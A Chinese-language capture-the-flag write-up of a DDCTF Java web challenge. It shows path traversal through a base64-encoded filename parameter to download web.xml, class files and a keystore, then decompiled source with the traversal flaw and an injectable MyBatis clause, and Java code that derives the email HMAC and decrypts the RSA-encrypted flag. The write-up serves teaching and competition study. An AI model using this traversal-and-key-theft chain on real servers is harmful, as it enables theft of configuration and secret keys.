题目链接:http://116.85.48.102:5050/welcom/8acb825dsc139s4f1bsb16es14f7875f8f23
前言
比赛时没有做出来这道题,对JavaWeb一窍不通,现在大概明白些其工作原理:
- 服务器主要为tomcat
- 后端语言为java
后端文件主要有:
- jsp:脚本文件
- class:编译好的类
- jar:依赖的包
- xml:各种配置文件
一般目录结构:
web
├── WEB-INF
│ ├── classes
│ │ ├── config
│ │ │ ├── db.properties
│ │ │ ├── log4j.properties
│ │ │ ├── mybatis
│ │ │ │ └── SqlMapConfig.xml
│ │ │ └── spring
│ │ │ ├── applicationContext-dao.xml
│ │ │ ├── applicationContext-service.xml
│ │ │ ├── applicationContext-transaction.xml
│ │ │ └── springmvc.xml
│ │ ├── controller
│ │ │ ├── ItemsController.class
│ │ │ ├── converter
│ │ │ │ └── CustomDateConverter.class
│ │ │ └── propertyeditor
│ │ │ └── CustomPropertyEditor.class
│ │ └── service
│ │ ├── ItemsService.class
│ │ └── impl
│ │ └── ItemsServiceImpl.class
│ ├── jsp
│ │ ├── editItem.jsp
│ │ └── itemsList.jsp
│ ├── lib
│ │ ├── aopalliance-1.0.jar
│ │ ├── asm-3.3.1.jar
│ │ ├── aspectjweaver-1.6.11.jar
│ │ ├── cglib-2.2.2.jar
│ │ └── commons-dbcp-1.2.2.jar
│ └── web.xml
└── index.jsp
- /index.jsp 首页
- /WEB-INF/web.xml 主配置文件
- /WEB-INF/class/ 存放编译完成的class
- /WEB-INF/lib/ 存放需要依赖的jar包
- /WEB-INF/jsp/ 存放jsp,一般是View
进化历程大致如下:
- 开始:servlet
- 因为标签解耦:jsp
- 因为页面数据解耦:jsp+javabean
- 因为控制层解耦:jsp+servlet+javabean
- 因为控制层共用:jsp+struts
- 因为解耦数据库:jsp+struts+hibernate
- 因为解耦控制层和数据层:jsp+struts+spring+hibernate
- 因为界面和控制层解耦:jsp+struts2+spring+hibernate
- 因为struts2安全问题:jsp+springmvc+spring+hibernate
- 因为mybatis更能适应业务复杂性:jsp+springmvc+spring+mybatis
作者:王忠进
链接:https://www.zhihu.com/question/36032573/answer/140945219
来源:知乎
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
对比源码
http://116.85.48.102:5050/welcom/8acb825dsc139s4f1bsb16es14f7875f8f23
http://www.xiaojukeji.com/
用010editor对比,得到两处明显不同:
13行: <link href="/image/banner/ZmF2aWNvbi5pY28=" rel="shortcut icon">
287行: <!--/flag/testflag/yourflag-->
第一处不同
base64解码为favicon.ico
,下载这个ico,010editor打开发现:
you can only download .class .xml .ico .ks files
第二处不同
尝试访问获得报错信息
http://116.85.48.102:5050/flag/testflag/yourflag
没有什么有用的类
org.springframework.web.util.NestedServletException: Request processing failed; nested exception is java.lang.ArrayIndexOutOfBoundsException
org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:978)
org.springframework.web.servlet.FrameworkServlet.doGet(FrameworkServlet.java:857)
javax.servlet.http.HttpServlet.service(HttpServlet.java:634)
org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:842)
javax.servlet.http.HttpServlet.service(HttpServlet.java:741)
org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53)
org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEncodingFilter.java:88)
org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:107)
尝试构造flag格式去访问
http://116.85.48.102:5050/flag/testflag/DDCTF{123}
http://116.85.48.102:5050/flag/testflag/DDCTF{QWE}
报错出一个看起来有用的类:
com.didichuxing.ctf.controller.user.FlagController.submitFlag(FlagController.java:36)
任意文件访问
第一处的base64编码,根据提示很有可能存在任意文件访问,于是尝试构造如下:
WEB-INF/web.xml
../WEB-INF/web.xml
../../WEB-INF/web.xml
base64编码后拼接到 http://116.85.48.102:5050/image/banner/ 后尝试访问,最终访问如下如下url得到web.xml
http://116.85.48.102:5050/image/banner/Li4vLi4vV0VCLUlORi93ZWIueG1s
web.xml中找找到WEB-INF/applicationContext.xmL
,最终找到如下文件:
_.._WEB-INF_web.xml
_.._WEB-INF_applicationContext.xml
_.._WEB-INF_classes_com_didichuxing_ctf_service_FlagService.class
_.._WEB-INF_classes_com_didichuxing_ctf_service_impl_FlagServiceImpl.class
_.._WEB-INF_classes_com_didichuxing_ctf_controller_user_FlagController.class
_.._WEB-INF_classes_com_didichuxing_ctf_controller_user_StaticController.class
_.._WEB-INF_classes_com_didichuxing_ctf_util_StringUtil.class
_.._WEB-INF_classes_com_didichuxing_ctf_dao_FlagDao.class
_.._WEB-INF_classes_com_didichuxing_ctf_listener_InitListener.class
_.._WEB-INF_classes_com_didichuxing_ctf_model_Flag.class
_.._WEB-INF_classes_mapper_FlagMapper.xml
_.._WEB-INF_classes_mybatis_config.xml
_.._WEB-INF_classes_sdl.ks
源码审计
通过JD-GUI反编译下载的class,分析逻辑如下:
FlagController.java
package com.didichuxing.ctf.controller.user;
import com.didichuxing.ctf.model.Flag;
import com.didichuxing.ctf.service.FlagService;
import java.io.PrintStream;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.ui.ModelMap;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
@RestController
@RequestMapping({"flag"})
public class FlagController
{
@Autowired
private FlagService flagService;
// url匹配:/flag/getflag/{email},调用flagService.getFlagByEmail()获取flag的密文
@RequestMapping(value={"/getflag/{email:[0-9a-zA-Z']+}"}, method={org.springframework.web.bind.annotation.RequestMethod.POST})
public String getFlag(@PathVariable("email") String email, ModelMap model)
{
Flag flag = this.flagService.getFlagByEmail(email);
return "Encrypted flag : " + flag.getFlag();
}
// url匹配:/flag/testflag/{flag},调用flagService.exist()检查flag
@RequestMapping({"/testflag/{flag}"})
public String submitFlag(@PathVariable("flag") String flag, ModelMap model)
{
String[] fs = flag.split("[{}]");
Long longFlag = Long.valueOf(fs[1]);
int i = this.flagService.exist(flag);
if (i > 0) {
return "pass!!!";
}
return "failed!!!";
}
private void init()
{
System.out.println("test");
}
}
FlagService.java
package com.didichuxing.ctf.service;
import com.didichuxing.ctf.model.Flag;
public abstract interface FlagService
{
public abstract Flag getFlagByEmail(String paramString);
public abstract Flag getFlagByUUID(String paramString);
public abstract Flag getFirst(int paramInt1, int paramInt2, String paramString1, String paramString2);
public abstract void save(Flag paramFlag);
public abstract void deleteAll();
public abstract int exist(String paramString);
}
声明了相应的抽象方法,实现应该在service/impl/FlagServiceImpl.java下
FlagServiceImpl.java
package com.didichuxing.ctf.service.impl;
import com.didichuxing.ctf.dao.FlagDao;
import com.didichuxing.ctf.model.Flag;
import com.didichuxing.ctf.service.FlagService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
@Service("flagService")
public class FlagServiceImpl
implements FlagService
{
@Autowired
private FlagDao flagDao;
public Flag getFlagByEmail(String email)
{
Flag flag = null;
try
{
flag = this.flagDao.getByEmail(email);
}
catch (Exception e)
{
e.printStackTrace();
}
return flag;
}
public Flag getFlagByUUID(String uuid)
{
Flag flag = null;
try
{
flag = this.flagDao.getByUUID(uuid);
}
catch (Exception e)
{
e.printStackTrace();
}
return flag;
}
public void save(Flag flag)
{
try
{
this.flagDao.save(flag);
}
catch (Exception e)
{
e.printStackTrace();
}
}
public void deleteAll()
{
try
{
this.flagDao.deleteAll();
}
catch (Exception e)
{
e.printStackTrace();
}
}
public int exist(String originFlag)
{
try
{
return this.flagDao.exist(originFlag);
}
catch (Exception e)
{
e.printStackTrace();
}
return 0;
}
public Flag getFirst(int start, int end, String col, String mode)
{
try
{
return this.flagDao.getFirst(start, end, col, mode);
}
catch (Exception e)
{
e.printStackTrace();
}
return null;
}
}
调用了flagDao下的方法
FlagDao.java
package com.didichuxing.ctf.dao;
import com.didichuxing.ctf.model.Flag;
import org.apache.ibatis.annotations.Param;
import org.springframework.stereotype.Repository;
@Repository
public abstract interface FlagDao
{
public abstract void update(Flag paramFlag)
throws Exception;
public abstract void save(Flag paramFlag)
throws Exception;
public abstract Flag getByEmail(String paramString)
throws Exception;
public abstract Flag getByUUID(String paramString)
throws Exception;
public abstract int exist(String paramString)
throws Exception;
public abstract void deleteAll()
throws Exception;
public abstract int count()
throws Exception;
public abstract Flag getFirst(@Param("start") int paramInt1, @Param("end") int paramInt2, @Param("col") String paramString1, @Param("mode") String paramString2)
throws Exception;
}
FlagMapper.xml
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE mapper
PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN"
"http://mybatis.org/dtd/mybatis-3-mapper.dtd">
<mapper namespace="com.didichuxing.ctf.dao.FlagDao">
<resultMap id="flag" type="com.didichuxing.ctf.model.Flag">
<id column="id" property="id"/>
<result column="email" property="email"/>
<result column="flag" property="flag"/>
</resultMap>
<insert id="save">
INSERT INTO t_flag VALUES (#{id}, #{email}, #{flag}, #{originFlag},#{uuid},#{originEmail})
</insert>
<update id="update">
UPDATE t_flag
SET flag = #{flag}
WHERE email = #{email}
</update>
<select id="getByEmail" resultMap="flag">
SELECT *
FROM t_flag
WHERE email = #{email}
</select>
<select id="getByUUID" resultMap="flag">
SELECT *
FROM t_flag
WHERE uuid = #{uuid}
</select>
<delete id="deleteAll">
DELETE FROM t_flag
</delete>
<select id="exist" resultType="java.lang.Integer">
SELECT *
FROM t_flag
WHERE originFlag = #{originFlag}
</select>
<select id="count" resultType="java.lang.Integer">
SELECT COUNT(*) AS total
FROM t_flag
</select>
<select id="getFirst" resultType="flag">
SELECT *
FROM t_flag order by ${col} ${mode}
limit ${start},${end}
</select>
</mapper>
FlagDao.java中方法的具体对数据库操作的sql配置
StaticController.java
package com.didichuxing.ctf.controller.user;
import com.didichuxing.ctf.util.StringUtil;
import java.io.BufferedInputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.OutputStream;
import java.util.Base64;
import java.util.Base64.Decoder;
import javax.servlet.ServletContext;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
@RestController
@RequestMapping({"/image"})
public class StaticController
{
public String index()
{
return "hello world!";
}
@RequestMapping({"/banner/{filename}"})
public void getImage(@PathVariable("filename") String fileName, HttpServletRequest request, HttpServletResponse response)
{
if (fileName != null)
{
byte[] dataByte = Base64.getDecoder().decode(fileName);
String fileName1 = new String(dataByte);
if (!StringUtil.validFilename(fileName1)) {
return;
}
String realPath = request.getSession().getServletContext().getRealPath("images/banner/" + fileName1);
File file = new File(realPath);
if (file.exists())
{
response.setContentType("application/force-download");
response.addHeader("Content-Disposition", "attachment;fileName=" + fileName1);
byte[] buffer = new byte['��'];
FileInputStream fis = null;
BufferedInputStream bis = null;
try
{
fis = new FileInputStream(file);
bis = new BufferedInputStream(fis);
OutputStream os = response.getOutputStream();
int i = bis.read(buffer);
while (i != -1)
{
os.write(buffer, 0, i);
i = bis.read(buffer);
}
}
catch (Exception e)
{
e.printStackTrace();
}
finally
{
if (bis != null) {
try
{
bis.close();
}
catch (IOException e)
{
e.printStackTrace();
}
}
if (fis != null) {
try
{
fis.close();
}
catch (IOException e)
{
e.printStackTrace();
}
}
}
}
}
}
}
实现通过/image/banner/{filename},来访问任意文件
InitListener.java
package com.didichuxing.ctf.listener;
import com.didichuxing.ctf.model.Flag;
import com.didichuxing.ctf.service.FlagService;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintStream;
import java.security.InvalidKeyException;
import java.security.Key;
import java.security.KeyStore;
import java.security.KeyStoreException;
import java.security.NoSuchAlgorithmException;
import java.security.SecureRandom;
import java.security.UnrecoverableKeyException;
import java.security.cert.CertificateException;
import java.util.Properties;
import java.util.UUID;
import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.Mac;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.ServletContext;
import org.apache.commons.io.FileUtils;
import org.springframework.beans.factory.InitializingBean;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.context.ApplicationContext;
import org.springframework.context.ApplicationEvent;
import org.springframework.context.ApplicationListener;
import org.springframework.web.context.WebApplicationContext;
public class InitListener
implements ApplicationListener, InitializingBean
{
final String k = "sdl welcome you !";
@Autowired
private FlagService flagService;
private Properties properties = new Properties();
private String p;
public void afterPropertiesSet()
throws Exception
{
System.out.println("afterPropertiesSet");
try
{
InputStream inputStream = getClass().getClassLoader().getResourceAsStream("/properties/conf.properties");
this.properties.load(inputStream);
}
catch (Exception e)
{
e.printStackTrace();
}
this.p = "sdl welcome you !".substring(0, "sdl welcome you !".length() - 1).trim().replace(" ", "");
}
public void onApplicationEvent(ApplicationEvent event)
{
if (!(event.getSource() instanceof ApplicationContext)) {
return;
}
WebApplicationContext ctx = (WebApplicationContext)event.getSource();
if (ctx.getParent() != null) {
return;
}
String regenflag = this.properties.getProperty("regenflag");
if ((regenflag != null) && ("false".equals(regenflag)))
{
System.out.println("skip gen flag");
return;
}
try
{
this.flagService.deleteAll();
int id = 1;
String path = ctx.getServletContext().getRealPath("/WEB-INF/classes/emails.txt");
String ksPath = ctx.getServletContext().getRealPath("/WEB-INF/classes/sdl.ks");
System.out.println(path);
String emailsString = FileUtils.readFileToString(new File(path), "utf-8");
String[] emails = emailsString.trim().split("\n");
KeyStore keyStore = KeyStore.getInstance(KeyStore.getDefaultType());
FileInputStream inputStream = new FileInputStream(ksPath);
keyStore.load(inputStream, this.p.toCharArray());
Key key = keyStore.getKey("www.didichuxing.com", this.p.toCharArray());
Cipher cipher = Cipher.getInstance(key.getAlgorithm());
cipher.init(1, key);
SecretKeySpec signingKey = new SecretKeySpec("sdl welcome you !".getBytes(), "HmacSHA256");
Mac mac = Mac.getInstance("HmacSHA256");
mac.init(signingKey);
SecureRandom sr = new SecureRandom();
for (String email : emails)
{
String flag = "DDCTF{" + Math.abs(sr.nextLong()) + "}";
String uuid = UUID.randomUUID().toString().replace("-", "s");
byte[] data = cipher.doFinal(flag.getBytes());
byte[] e = mac.doFinal(String.valueOf(email.trim()).getBytes());
Flag flago = new Flag();
flago.setId(Integer.valueOf(id));
flago.setFlag(byte2hex(data));
flago.setEmail(byte2hex(e));
flago.setOriginFlag(flag);
flago.setUuid(uuid);
flago.setOriginEmail(email);
this.flagService.save(flago);
System.out.println(email + "���������������������������http://116.85.48.102:5050/welcom/" + uuid);
id++;
System.out.println(flago);
}
}
catch (KeyStoreException e)
{
e.printStackTrace();
}
catch (IOException e)
{
e.printStackTrace();
}
catch (NoSuchAlgorithmException e)
{
e.printStackTrace();
}
catch (CertificateException e)
{
e.printStackTrace();
}
catch (UnrecoverableKeyException e)
{
e.printStackTrace();
}
catch (NoSuchPaddingException e)
{
e.printStackTrace();
}
catch (InvalidKeyException e)
{
e.printStackTrace();
}
catch (IllegalBlockSizeException e)
{
e.printStackTrace();
}
catch (BadPaddingException e)
{
e.printStackTrace();
}
}
public static String byte2hex(byte[] b)
{
StringBuilder hs = new StringBuilder();
for (int n = 0; (b != null) && (n < b.length); n++)
{
String stmp = Integer.toHexString(b[n] & 0xFF);
if (stmp.length() == 1) {
hs.append('0');
}
hs.append(stmp);
}
return hs.toString().toUpperCase();
}
}
初始化的监听器,完成每个email的flag初始化
Flag.java
package com.didichuxing.ctf.model;
public class Flag
{
private Integer id;
private String uuid;
private String email;
private String originEmail;
private String flag;
private String originFlag;
public String getUuid()
{
return this.uuid;
}
public void setUuid(String uuid)
{
this.uuid = uuid;
}
public String getOriginEmail()
{
return this.originEmail;
}
public void setOriginEmail(String originEmail)
{
this.originEmail = originEmail;
}
public Integer getId()
{
return this.id;
}
public void setId(Integer id)
{
this.id = id;
}
public String getEmail()
{
return this.email;
}
public void setEmail(String email)
{
this.email = email;
}
public String getFlag()
{
return this.flag;
}
public void setFlag(String flag)
{
this.flag = flag;
}
public String getOriginFlag()
{
return this.originFlag;
}
public void setOriginFlag(String originFlag)
{
this.originFlag = originFlag;
}
public String toString()
{
return "Flag{id=" + this.id + ", uuid='" + this.uuid + '\'' + ", email='" + this.email + '\'' + ", originEmail='" + this.originEmail + '\'' + ", flag='" + this.flag + '\'' + ", originFlag='" + this.originFlag + '\'' + '}';
}
}
Flag类中的成员有: id,uuid,email,originEmail,flag,originFlag
整体逻辑
初始化
InitListener监听器初始化Flag:
- 读取email信息与秘钥文件
- 随机生成一个flag
- 加密flag与email信息
- 保存加密与原始的信息到数据库中
Flag flago = new Flag();
flago.setId(Integer.valueOf(id));
flago.setFlag(byte2hex(data));
flago.setEmail(byte2hex(e));
flago.setOriginFlag(flag);
flago.setUuid(uuid);
flago.setOriginEmail(email);
这里发现flag类里的flag与email都是加密过的flag,而OriginEmail与OriginFlag才是明文的数据
flag控制器
FlagController通过getflag和testflag两个接口工作:
- getflag最终通过FlagDao.java中的getByEmail()从数据库中获取flag
- 这个email字段存储的是加密过的email
思路
- 通过InitListener.java的源码,我们已知邮箱的明文,算出邮箱的密文
- 通过/flag/getflag/,将算出的密文提交给flag控制器,得到flag的密文
- 仍然通过InitListener.java的源码,以及泄露出的秘钥文件,解密flag
- 通过/flag/testflag/,检查
解法
加密email
import javax.crypto.Mac;
import javax.crypto.spec.SecretKeySpec;
import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;
public class Main {
public static void main(String[] args) throws NoSuchAlgorithmException, InvalidKeyException {
SecretKeySpec signingKey = new SecretKeySpec("sdl welcome you !".getBytes(), "HmacSHA256");
Mac mac = Mac.getInstance("HmacSHA256");
mac.init(signingKey);
String email="8071103253958342134@didichuxing.com";
byte[] e = mac.doFinal(String.valueOf(email.trim()).getBytes());
System.out.println(byte2hex(e));
}
public static String byte2hex(byte[] b)
{
StringBuilder hs = new StringBuilder();
for (int n = 0; (b != null) && (n < b.length); n++)
{
String stmp = Integer.toHexString(b[n] & 0xFF);
if (stmp.length() == 1) {
hs.append('0');
}
hs.append(stmp);
}
return hs.toString().toUpperCase();
}
}
6DE17D169E992EB842991B9CA2557F6A060C865D516B0E6BAB6D4494C3724B50
POST获得flag密文
http://116.85.48.102:5050/flag/getflag/6DE17D169E992EB842991B9CA2557F6A060C865D516B0E6BAB6D4494C3724B50
AF275F555C269724F01DA82A476B2D9C6DEE43F129FC9317BC772793457CACF457E976D5217875B94FC44D09AEDE3FF441BDE93C0086232B6277289755A3655F083B7A436E273F86A673F0576BD3A2487156F9B569F67C741287258ECF6A532742425F31B3DBF8BDA506717121152983A02E1ECF2D27046DB5E084DE06417B72121D157A138244DEBCD88E4E357B400088412892B45D8C498976F2445B9F26ADA20CAE425C8C36D258C591A5C9F20EF938EFB640AC83DB0157EA6FFA4BAC04A1F42C09650097EC1A461FE18CD972A533CC93EBB78D467360B6A405E24551AB6C944E2050B693FD0939D0E34864350536733C609D678176DBD12D5AFA13FF5EA2
解密flag
keyStore
这里flag是用rsa算法并且是私钥加密的,所以需要公钥解密
Key key = keyStore.getKey("www.didichuxing.com", p.toCharArray());// 获得私钥
Key key = keyStore.getCertificate("www.didichuxing.com").getPublicKey();// 获得公钥
Cipher
cipher.init(1,key) //加密
cipher.init(2,key) //解密
hex2byte
加密时是byte2hex,所以需要倒过来
public static byte[] hex2byte(String hexString) {
if (hexString == null || hexString.equals("")) {
return null;
}
hexString = hexString.toUpperCase();
int length = hexString.length() / 2;
char[] hexChars = hexString.toCharArray();
byte[] d = new byte[length];
for (int i = 0; i < length; i++) {
int pos = i * 2;
d[i] = (byte) (charToByte(hexChars[pos]) << 4 | charToByte(hexChars[pos + 1]));
}
return d;
}
private static byte charToByte(char c) {
return (byte) "0123456789ABCDEF".indexOf(c);
}
最终脚本
import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import java.io.FileInputStream;
import java.io.IOException;
import java.security.*;
import java.security.cert.CertificateException;
public class Main {
public static void main(String[] args) throws KeyStoreException, InvalidKeyException, IOException, NoSuchAlgorithmException, CertificateException, UnrecoverableKeyException, NoSuchPaddingException, BadPaddingException, IllegalBlockSizeException {
String p="";
String eflag="AF275F555C269724F01DA82A476B2D9C6DEE43F129FC9317BC772793457CACF457E976D5217875B94FC44D09AEDE3FF441BDE93C0086232B6277289755A3655F083B7A436E273F86A673F0576BD3A2487156F9B569F67C741287258ECF6A532742425F31B3DBF8BDA506717121152983A02E1ECF2D27046DB5E084DE06417B72121D157A138244DEBCD88E4E357B400088412892B45D8C498976F2445B9F26ADA20CAE425C8C36D258C591A5C9F20EF938EFB640AC83DB0157EA6FFA4BAC04A1F42C09650097EC1A461FE18CD972A533CC93EBB78D467360B6A405E24551AB6C944E2050B693FD0939D0E34864350536733C609D678176DBD12D5AFA13FF5EA2";
String ksPath = "/Users/xuanxuan/Desktop/getflag/src/sdl.ks";
p = "sdl welcome you !".substring(0, "sdl welcome you !".length() - 1).trim().replace(" ", "");
KeyStore keyStore = KeyStore.getInstance(KeyStore.getDefaultType());
FileInputStream inputStream = new FileInputStream(ksPath);
keyStore.load(inputStream, p.toCharArray());
//Key key = keyStore.getKey("www.didichuxing.com", p.toCharArray());
Key key = keyStore.getCertificate("www.didichuxing.com").getPublicKey();
Cipher cipher = Cipher.getInstance(key.getAlgorithm());
cipher.init(2, key);
String flag = new String(cipher.doFinal(hex2byte(eflag)));
System.out.println(flag);
}
public static byte[] hex2byte(String hexString) {
if (hexString == null || hexString.equals("")) {
return null;
}
hexString = hexString.toUpperCase();
int length = hexString.length() / 2;
char[] hexChars = hexString.toCharArray();
byte[] d = new byte[length];
for (int i = 0; i < length; i++) {
int pos = i * 2;
d[i] = (byte) (charToByte(hexChars[pos]) << 4 | charToByte(hexChars[pos + 1]));
}
return d;
}
private static byte charToByte(char c) {
return (byte) "0123456789ABCDEF".indexOf(c);
}
}
DDCTF{3614585062529825773}
检查
http://116.85.48.102:5050/flag/testflag/DDCTF{3614585062529825773}